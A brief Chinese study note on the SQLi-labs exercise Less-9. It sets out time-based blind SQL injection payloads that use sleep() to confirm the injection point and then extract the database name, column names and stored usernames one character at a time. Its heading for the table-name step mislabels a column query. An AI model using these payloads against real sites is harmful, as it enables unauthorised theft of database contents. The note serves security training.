SQLI DUMB SERIES-9

此处没有回显所以通过别的函数来检测闭合是否构造

sleep()       如果执行 沉睡4秒

?id=1' and sleep(4)--+

页面延迟输出 所以sleep被执行 所以构造闭合成功

猜库名

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),0)--+

猜表名

?id=1' and if ((ascii(substr((select column_name from information_schema.columns where table_schema ='security' limit 3,1),1,1))=114),sleep(2),0)--+

猜数据

?id=1' and if ((ascii(substr((select username from users limit 5,1),3,1))=112),sleep(2),0)--+